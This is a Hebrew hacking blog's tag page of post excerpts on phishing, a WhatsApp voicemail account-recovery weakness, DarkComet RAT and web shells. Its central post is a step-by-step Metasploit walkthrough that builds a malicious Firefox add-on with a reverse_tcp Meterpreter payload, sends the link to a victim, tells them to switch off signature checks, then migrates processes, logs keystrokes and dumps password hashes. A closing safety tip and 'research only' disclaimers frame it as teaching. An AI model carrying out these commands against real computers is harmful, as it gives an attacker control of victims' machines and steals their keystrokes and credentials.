‏הצגת רשומות עם תוויות Hacking. הצג את כל הרשומות

מהו פישינג? וכיצד עובד Beef?

פישינג הוא ניסיון לגניבת מידע על ידי התחזות. המידע שימסר לגורם שלישי יכול להיות סודי כגון שמות משתמשים וסיסמאות אך גם מידע על סידורי אבטחה, שמות של מסמכים, מדינויות סיסמאות, תבנית הדואר האלקטרוני, תפקידי מפתח ועוד. הדיוג מתבצע לרוב על ידי התחזות לגורם לגיטימי ומוכר המנסה "לדוג" מידע מהקורבן בדרכים המוכרות לו כגון: תכתובות סמס, צ'אט במדיה החברתית, דואר אלקטרוני ארגוני או של אתר אינטרנט מוכר ועוד.
דרך נתיבים לגיטימים אלה משכנע התוקף את הקורבן לבצע פעולה שתוביל אותו לאתר זדוני המדמה אתר אמיתי (פייסבוק, גימייל, איביי, חשבון בנק, פייפאל ועוד) לאחר שהקורבן ימלא את פרטיו הם ישלחו באופן אוטומטי אל התוקף.


פוסטים נוספים »

נתנאל ואני החלטנו לחקור את נושא אחזור סיסמאת וואטסאפ דרך התא הקולי והתוצאות היו מפתיעות ולרעה. לאחר הזנת מספר הטלפון בעת ההרשמה יש לבצע אימות, דרך הודעת טקסט או דרך שיחת טלפון. מה קורה אם לא עונים לשיחה (שיכולה להיות באמצע הלילה) וסיסמאת התא הקולי היא 1234?

פוסטים נוספים »




האקספלויט יוצר קובץ xpi addon. שמוצג לקורבן באמצעות אתר אינטרנט לגיטימי, דפדפן האינטרנט יקפיץ הודעה לקורבן שיש צורך בהתקנת תוסף ומבקש לאשר את ההתקנה.
במידה והקורבן יאשר את ההתקנה, המטען הזדוני יותקן וירוץ עם הרשאות משתמש מלאות.

* ראשית ניכנס אל Metasploit Framework בעזרת הפקודה הבאה:
> msfconsole
 _                                                    _
/ \    /\         __                         _   __  /_/ __
| |\  / | _____   \ \           ___   _____ | | /  \ _   \ \
| | \/| | | ___\ |- -|   /\    / __\ | -__/ | || | || | |- -|
|_|   | | | _|__  | |_  / -\ __\ \   | |    | | \__/| |  | |_
      |/  |____/  \___\/ /\ \\___/   \/     \__|    |_\  \___\

* יש לטעון את ה-Payload הבא:
> use exploit/multi/browser/firefox_xpi_bootstrapped_addon
* פקודת Show Options, תציג את הדרישות של אותו ה-Payload.

 * לאחר שסיימנו את השלב הראשון בו הגדרנו את השרת ממנו ירד הקובץ הזדוני, נטען את ה-Payload הבא:
> set payload windows/meterpreter/reverse_tcp
באמצעות פקודת set נגדיר את כתובת ה-IP של ההוסט שלנו ואת מספר הפורט.

* כעת, נשתמש בפקודת show targets ובעזרת פקודת set נגדיר שה-Target יהיה 1 Native payload.
> set target 1
* אחרי שהכל מוכן כל שנותר הוא להריץ בעזרת פקודת run, המערכת תציג לנו לינק אותו נשלח אל הקורבן ונשכנע אותו להתקין את התוסף.
בשלב זה, המערכת ממתינה להורדה והתקנת התוסף.

* כפי שניתן לראות, לאחר הכניסה אל הלינק הזדוני, תוצג לקורבן הודעה שהתקנת תוסף נחוצה לצורך הפעלת הדף. נלחץ Allow.


 * בחלק מהמקרים, מגרסה 44 ומעלה פיירפוקס מסנן תוספים לא חתומים ולכן נדרש להיכנס ל-about:config, לבצע חיפוש על ערך xpinstall.signatures.required ולבטל אותו באמצעות לחיצה כפולה.
מיד לאחר ההתקנה נקבל מטרפרטר.
* הפקודה help תציג רשימת פקודות שניתן לבצע, חלקן מופיעות בקישור הבא: הבא: http://www.omegaton.com/2017/04/meterpreter.html

* כל שנותר הוא לשדרג את התהליך (Process) שלנו לאחד יציב יותר כמו explorer וכו'
אם לא נשדרג לתהליך יציב יותר והקורבן יסגור את דפדפן האינטרנט (Firefox) החיבור אליו יפסק.

בעזרת פקודת ps נקבל את רשימת התהליכים שרצים ברקע, נבחר את התהליך הרצוי ונעתיק את ה-PID שלו.

נשתמש בפקודת migrate לצורך שדרוג
(כפי שניתן לראות בחרתי בexplorer.exe ומספר ה-PID שלו הוא 560).

> migrate 2752

שימוש בפקודת Key_scan:
לאחר שהמחשב בשליטתי המלאה ניתן להשתמש בפקודה:
keyscan_start - התחל הקלטת מקלדת
keyscan_dump - הצג את "הקלטת" המקלדת על המסך
keyscan_stop - עצור הקלטת מקלדת

 פקודת Hashdump:
תציג לנו את ה-Hash של כל המשתמשים המקומיים.

לסיום, שימו לב לפעולות שלכם ברשת האינטרנט, לא לפתוח קבצים חשודים, לא להתקין קבצים הנשלחים במייל או הורדו ממקור לא ידוע.
פוסטים נוספים »

תוכנת מחשב זדונית המאפשרת שליטה וניהול מחשב מרוחק (RAT). תוכנה זו תומכת במערכות הפעלה חלונות מבית מיקרוסופט ומאפשרת למשתמש בה להריץ כלים ופקודות במחשב מרוחק.

 התוכנה מאפשרת שליטה על מערכות הפעלה עם ממשק משתמש גרפי (GUI) ומציעה כלי תמיכה רבים המסייעים בפתרון תקלות. לדארקומט מספר כלים זדוניים המאפשרים לצלם מסך, ללכוד סיסמאות, רישום הקשות, הפעלת קבצים ועוד.


פוסטים נוספים »

מה זה Shell אפליקטיבי? Web Application Shell?

Shell אפליקטיבי הוא סקריפט פשוט או קטע קוד ארוך הנטען אל שירות פגיע, מאפשר הרצת פקודות בשרת וגישה מלאה על היישום בו הוא פועל (אתר, מסדי נתונים ועוד).
את הסקריפט ניתן לכתוב בשפות שונות כגון: ASPX, ASP, PHP, Ruby, Perl והוא חייב להיות באותה השפת הקוד שבה כתובה האפליקציה או היישום.
השליטה על השירותים נעשית דרך דפדפן האינטרנט באמצעות ממשק פשוט וקל לתפעול שלא מצריך חיבור מקדים אל השרת.

 * חיסרון בולט של ה-Shell האפליקטיבי הוא שאין לו את היכולת להתנהג כמו טרמינל רגיל.
פוסטים נוספים »

הכנת Payload והרצה על Windows בעזרת Metasploit: (ללא אנטי וירוס)

* מטרת מדריך זה היא שימוש לימודי ולצורכי מחקר בלבד! כל שימוש אחר יהיה על אחריות המשתמש! (המכשיר שעליו בוצע המדריך הוא מכשיר לבדיקות אבטחה בלבד!)


פוסטים נוספים »

* מטרת מדריך זה היא שימוש לימודי ולצורכי מחקר בלבד! כל שימוש אחר יהיה על אחריות המשתמש! (המכשיר שעליו בוצע המדריך הוא מכשיר לבדיקות אבטחה בלבד!)


פוסטים נוספים »
הירשם ל- רשומות (Atom)